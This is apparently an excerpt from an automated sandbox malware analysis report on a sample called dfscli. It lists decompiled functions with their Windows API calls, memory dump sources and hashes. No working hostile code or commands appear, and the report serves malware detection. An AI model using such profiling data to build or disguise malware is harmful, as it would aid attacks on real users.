Opcode ID: 85535ec0e5e890c2202cf6ef6c4d9fe4ba616bd64fcc6351fedbe745838c2431
Instruction ID: aeac6e575d03eafd3f6c487df0eb32fa97cf7b4fa9cce637b04c964ddecc85eb
Opcode Fuzzy Hash: 85535ec0e5e890c2202cf6ef6c4d9fe4ba616bd64fcc6351fedbe745838c2431
Instruction Fuzzy Hash: E101DD72F001189BCF15DBA5EC859DF77BCFB4C344F4408BEA606E3140DAB95A458B55

Function 0040BEF2 Relevance: 6.2, APIs: 4, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040BEF7
VariantClear.OLEAUT32(?), ref: 0040BFAD
CoTaskMemFree.OLE32(?), ref: 0040C05A
CoTaskMemFree.OLE32(?), ref: 0040C068

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: FreeTask$ClearH_prologVariant
String ID:
API String ID: 82050969-0
Opcode ID: aa54fe472d68a3241bf7ad01d18b909729e7cebb57c0b9826251c15e0844cbce
Instruction ID: aff64e16e21245f6878e9bb53209405c6384404d08c4ae572c20ba40f5270c01
Opcode Fuzzy Hash: aa54fe472d68a3241bf7ad01d18b909729e7cebb57c0b9826251c15e0844cbce
Instruction Fuzzy Hash: 1371F271A00602DFCB20DFA5C98486AB3B6FF48308754097EE556E76A1CB39AC41CB58

Function 021C21A0 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 021C21F9
SetLastError.KERNEL32(0000007E), ref: 021C223B

Memory Dump Source

Source File: 00000002.00000002.2117474523.00000000021C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21c1000_dfscli.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: 2a18ec49daa347f494c39f1cc86de0c018ef55207888641ba94cd770781fd9b1
Instruction ID: 9c02ebd26d090e265a720c264891e5cfae38a2bd796f7ede724306d551e72878
Opcode Fuzzy Hash: 2a18ec49daa347f494c39f1cc86de0c018ef55207888641ba94cd770781fd9b1
Instruction Fuzzy Hash: 9981BB78A40209DFDB04DF94C894BAEBBB1FF48314F248198E919AB355C734EA91CF90

Function 00419D07 Relevance: 6.2, APIs: 4, Instructions: 167fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,00000000,?,00000000,?,?,?), ref: 00419D81
GetLastError.KERNEL32(?,?,?), ref: 00419D8B
ReadFile.KERNEL32(?,?,00000001,?,00000000,?,?,?), ref: 00419E54
GetLastError.KERNEL32(?,?,?), ref: 00419E5E

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 5231f9cba8860c89ca05e19dafb1a2c24a41461642442fb6cf506ca3b38b4cc7
Instruction ID: b56e1250b5eeb3e03af337cf5b8aade3a6d5dc35aadc41e3464ab86f92864a86
Opcode Fuzzy Hash: 5231f9cba8860c89ca05e19dafb1a2c24a41461642442fb6cf506ca3b38b4cc7
Instruction Fuzzy Hash: B26191706043859FDF21CF58C894BEA7BE4AF11304F1845ABE8518B2D1D378DD95CB5A

Function 0040BAD2 Relevance: 6.2, APIs: 4, Instructions: 165windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040BAF0
GetDesktopWindow.USER32 ref: 0040BB03
GetWindowRect.USER32(?,?), ref: 0040BB16
GetWindowRect.USER32(?,?), ref: 0040BB23

Part of subcall function 00423D5B: MoveWindow.USER32(?,?,?,00000000,?,00000000,?,0040BC64,?,?), ref: 00423D76

Part of subcall function 00423D99: ShowWindow.USER32(?,?,0040BC6D,00000000,?,?), ref: 00423DA6

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Window$Rect$DesktopMoveShowVisible
String ID:
API String ID: 3835705305-0
Opcode ID: 02730a8dcdf5586f36da1b8026ee27db7f50392f629d12665f502e7a90036cb3
Instruction ID: 0b392027358f973cf9a87025e36c0637855173732e828471bea61ad1e95020aa
Opcode Fuzzy Hash: 02730a8dcdf5586f36da1b8026ee27db7f50392f629d12665f502e7a90036cb3
Instruction Fuzzy Hash: 51510C75A0020AEFDB00DFA9D998CAEB7B9EF48705B14446DF501E7254CB39EE01CB64

Function 00415FCF Relevance: 6.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 00416043
_strlen.LIBCMT ref: 0041608B
_strcspn.LIBCMT ref: 004160AB
_strncpy.LIBCMT ref: 004160CB

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: _strcspn_strlen_strncpy_strpbrk
String ID:
API String ID: 635841138-0
Opcode ID: 4acd2b3da59a346ea89797bb7e0e1b5f04a14f124cc7c14e013e1c037170ab40
Instruction ID: 44dc5c145c95b46dcc10438fb611d3ac7f676edd126e77a362cf6d6368d72d10
Opcode Fuzzy Hash: 4acd2b3da59a346ea89797bb7e0e1b5f04a14f124cc7c14e013e1c037170ab40
Instruction Fuzzy Hash: 90510B76D0421AAADF21DBA59C816FF77A8AB44348F26042FD511A3243E77CCDC1C799

Function 00416F27 Relevance: 6.1, APIs: 4, Instructions: 145fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,?,?,00000001), ref: 0041700F

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 96b8e6bb5318c80f56763d940f7dc6e0f4e8b6228f9512b9e20a3a71bbbea6aa
Instruction ID: 6123c53501c71611ec199f00bb1904ad0936d21d6721be59c225a486e99e16bd
Opcode Fuzzy Hash: 96b8e6bb5318c80f56763d940f7dc6e0f4e8b6228f9512b9e20a3a71bbbea6aa
Instruction Fuzzy Hash: F2514E71904348DFDB32CFA9D880AEDBBB8FF49304F21416AE855AB252D7349A81CF15

Function 00425954 Relevance: 6.1, APIs: 4, Instructions: 115stringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32 ref: 00425978
lstrlenA.KERNEL32(?), ref: 004259BC

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: GlobalLocklstrlen
String ID:
API String ID: 1144527523-0
Opcode ID: 8169b16f82f0868695eb299ef13228d82f00ca6112b92c9d85447b5b163038f3
Instruction ID: 40d86c0513ae9d415dd9e2a43e2b1b87c3bf4c07422c7a4737d8b13f56130937
Opcode Fuzzy Hash: 8169b16f82f0868695eb299ef13228d82f00ca6112b92c9d85447b5b163038f3
Instruction Fuzzy Hash: 5B41D772A00619EFCB14DFB5D88589EBB78FF04314B50823AE416D7295D7389986CF94

Function 00424236 Relevance: 6.1, APIs: 4, Instructions: 103windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0042426A
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 004242CF
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 00424314
SendMessageA.USER32(?,000000F1,00000000,00000000), ref: 0042433D

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 578cd5156323f8e4839ee2b7b2deaaf76e5d6958570f61373f7fb0b6f96745cb
Instruction ID: 97a3aa0f2093d80d9ab1d2ca581497d8a10018e442b15fa7111c8de2717619ad
Opcode Fuzzy Hash: 578cd5156323f8e4839ee2b7b2deaaf76e5d6958570f61373f7fb0b6f96745cb
Instruction Fuzzy Hash: D2319230701128EBCB25DF56D880EAF7BA9EF81390F90406BF9059B251DA38DD81DBE4

Function 00424DE6 Relevance: 6.1, APIs: 4, Instructions: 103stringtimeCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000104), ref: 00424E11
GetFileTime.KERNEL32(?,?,?,?), ref: 00424E33
GetFileSize.KERNEL32(?,00000000), ref: 00424E41
GetFileAttributesA.KERNEL32(?), ref: 00424E6B

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: File$AttributesSizeTimelstrcpyn
String ID:
API String ID: 1499663573-0
Opcode ID: f16e3736775d2ddd2b90047da77ffea6f1390e20ccceb3cacd56e450c912fe4a
Instruction ID: 10b0ca20b6ba7935ce24b692c837ef30e80ac275a2c3b5174e3ec32f6528bdd3
Opcode Fuzzy Hash: f16e3736775d2ddd2b90047da77ffea6f1390e20ccceb3cacd56e450c912fe4a
Instruction Fuzzy Hash: F6415B71600615DFD724DF64D880CABBBF8FB493247508A2EE1AAD7690E734F905CB68

Function 004097DD Relevance: 6.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00409850
SysFreeString.OLEAUT32(?), ref: 004098BF
SysFreeString.OLEAUT32(?), ref: 004098C9
SysFreeString.OLEAUT32(?), ref: 004098D3

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: FreeString$ClearVariant
String ID:
API String ID: 3349467263-0
Opcode ID: de6ed19b4d79ffda526f10128478d59beb7b2d2a8770046cbd51498ef92bede6
Instruction ID: 9b7dfb74d6b775aa84bb56406a04f63d893804085adcf5f2a56aebc11390cad7
Opcode Fuzzy Hash: de6ed19b4d79ffda526f10128478d59beb7b2d2a8770046cbd51498ef92bede6
Instruction Fuzzy Hash: 4C314872A11219EFCB10EFA5C884ADEBB78BF09710F10812BF519A7281C774A944CBA4

Function 0041AE68 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

Part of subcall function 0040E573: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040E58D
Part of subcall function 0040E573: GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 0040E59E
Part of subcall function 0040E573: VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 0040E5E4

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000004,00000190,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018), ref: 0041AEAB
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,?,00000000,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018), ref: 0041AEC8
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,?,?,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018), ref: 0041AF3E
CompareStringW.KERNEL32(?,?,00000190,00000000,?,00000000,?,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?), ref: 0041AF54

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ByteCharMultiWide$QueryVirtual$CompareInfoStringSystem
String ID:
API String ID: 1997773198-0
Opcode ID: 2f5a63cc3d85905ba8ff51249218b259c6c2d120b32e42e249fa9abd3c0fdf1d
Instruction ID: 5cd4ba0b02cff2006dfa041284cb0cbfb60364f479d6c6401c1f379f8f18e737
Opcode Fuzzy Hash: 2f5a63cc3d85905ba8ff51249218b259c6c2d120b32e42e249fa9abd3c0fdf1d
Instruction Fuzzy Hash: D031BE71801218EBCF219FA2DC49BDE7B76FF08754F24012AF815A61A0D73889A2DB55

Function 00412792 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

___initmbctable.LIBCMT ref: 0041279F
_strlen.LIBCMT ref: 004127B8
_strlen.LIBCMT ref: 004127F1
_strcat.LIBCMT ref: 0041280E

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: _strlen$___initmbctable_strcat
String ID:
API String ID: 109824703-0
Opcode ID: b85dc8cf1279c79c59f8bd1564ee49a33527450fdaabd89fe6a56b01cf1f63b2
Instruction ID: c412b2b7f8df5d4b9f6b2b75421172ecb2d2693661a7d437f8156438054eadb6
Opcode Fuzzy Hash: b85dc8cf1279c79c59f8bd1564ee49a33527450fdaabd89fe6a56b01cf1f63b2
Instruction Fuzzy Hash: 631127728081016ED7207F65AD405A77785EB313347240A3FE091932E2DA7C18E6C66C

Function 00409432 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00409437
GetDC.USER32(?), ref: 00409470
CreateRectRgnIndirect.GDI32(?), ref: 004094B3

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CreateH_prologIndirectRect
String ID:
API String ID: 2123978231-0
Opcode ID: 4b0f4901dd638a671841a374c8397060b8bf8be129b0859f566eeb39be9f4921
Instruction ID: 7afd8c56d7a45c3c1b9d016defab70745a838345b1ecd9677a25a07ef7e179f5
Opcode Fuzzy Hash: 4b0f4901dd638a671841a374c8397060b8bf8be129b0859f566eeb39be9f4921
Instruction Fuzzy Hash: BF215C71A00129DBCB11DFA4D98499EB7B8EF08714F5081A6E901BB295C7789E06CBB5

Function 0040A5FC Relevance: 6.1, APIs: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32 ref: 0040A61B
CoTaskMemFree.OLE32(?), ref: 0040A697

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ArrayDestroyFreeSafeTask
String ID:
API String ID: 3253174383-0
Opcode ID: bb55eb5cadc817f2e48f085d3486655d5a4389d2a61a639251d8b891ef80dd51
Instruction ID: a1dea07ca2ec4367596b7633afa73df90ca84adeb2077ed1b3f452afad63676a
Opcode Fuzzy Hash: bb55eb5cadc817f2e48f085d3486655d5a4389d2a61a639251d8b891ef80dd51
Instruction Fuzzy Hash: 05115E30600305DBDB259F65D848B6677B8AF00741F1D0A3AE8C5AA2E0DB3ADD21CA5E

Function 0040957A Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040957F
GetRgnBox.GDI32(?,?), ref: 004095C0
IntersectRect.USER32(?,?,?), ref: 004095D5
EqualRect.USER32(?,?), ref: 004095E3

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Rect$EqualH_prologIntersect
String ID:
API String ID: 2227276553-0
Opcode ID: cfe4538af5ce4241f94f36a5d2e894a6c0f0bd8464d49d8081b223b50ccd3408
Instruction ID: 913515354d6a92e134cf8808074a3165ff7f6a37c3e08295266c1903fc249c36
Opcode Fuzzy Hash: cfe4538af5ce4241f94f36a5d2e894a6c0f0bd8464d49d8081b223b50ccd3408
Instruction Fuzzy Hash: 2C212C72A00219EFDB11EF95D984DDEBBB8FF08354B10456AF951A3250D7389E058B64

Function 0042028C Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 004202B2
LoadResource.KERNEL32(?,00000000), ref: 004202BA
LockResource.KERNEL32(00000000), ref: 004202CC
FreeResource.KERNEL32(00000000), ref: 00420316

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 0b83120d772461038e2049ec577641a88b61bf73e8f1d9011b83d9a047eaa24e
Instruction ID: 656d2c210f5b5afbe86cf1a99f8a29c5f19edac70fe617a666d0c49f05aa73d5
Opcode Fuzzy Hash: 0b83120d772461038e2049ec577641a88b61bf73e8f1d9011b83d9a047eaa24e
Instruction Fuzzy Hash: 67119D3A601721EFCB24DFA5E948AA7B7B8FB04754F80446AE80253752E778AC05CB74

Function 00423181 Relevance: 6.1, APIs: 4, Instructions: 52windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 004231AB
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 004231CD
GetCapture.USER32 ref: 004231DF
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 004231EE

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: MessageSend$Capture
String ID:
API String ID: 1665607226-0
Opcode ID: 7db1d9e71e75495c4d9147a9e900ecf5cbacbe0365e999608e3c3560ea6febca
Instruction ID: f54eaa0953af14796ca2798ad8be5b391c5598d7a46c12b9b30925c7b8ab6a99
Opcode Fuzzy Hash: 7db1d9e71e75495c4d9147a9e900ecf5cbacbe0365e999608e3c3560ea6febca
Instruction Fuzzy Hash: 1E016D713403197FFA302B15ACC9FBB76ADDF88789F910439F241AB2D2CA959C059A64

Function 004249C5 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 004249F9
GetCurrentProcess.KERNEL32(?,00000000), ref: 004249FF
DuplicateHandle.KERNEL32(00000000), ref: 00424A02
GetLastError.KERNEL32(?), ref: 00424A1D

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CurrentProcess$DuplicateErrorHandleLast
String ID:
API String ID: 3907606552-0
Opcode ID: e60f49e3c131c40013d4e8fd54a17e3d401a2657e5a6576110243408ecd1152f
Instruction ID: 8ac3f6cd50cf8df22ad13eb24bf5b481f7bec5be52e842199ecbcbeb8f3ca53e
Opcode Fuzzy Hash: e60f49e3c131c40013d4e8fd54a17e3d401a2657e5a6576110243408ecd1152f
Instruction Fuzzy Hash: 1C012471700210BBDB20AFB6EC49F1B7BADEF84360F608026F915CB281DA74DC018764

Function 0042C03B Relevance: 6.0, APIs: 4, Instructions: 49networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32(00000000), ref: 0042C075
htons.WS2_32(?), ref: 0042C081

Part of subcall function 0040422C: bind.WS2_32(?,00000002,00000002), ref: 00404237

inet_addr.WS2_32(?), ref: 0042C0B3
WSASetLastError.WS2_32(00002726), ref: 0042C0C3

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
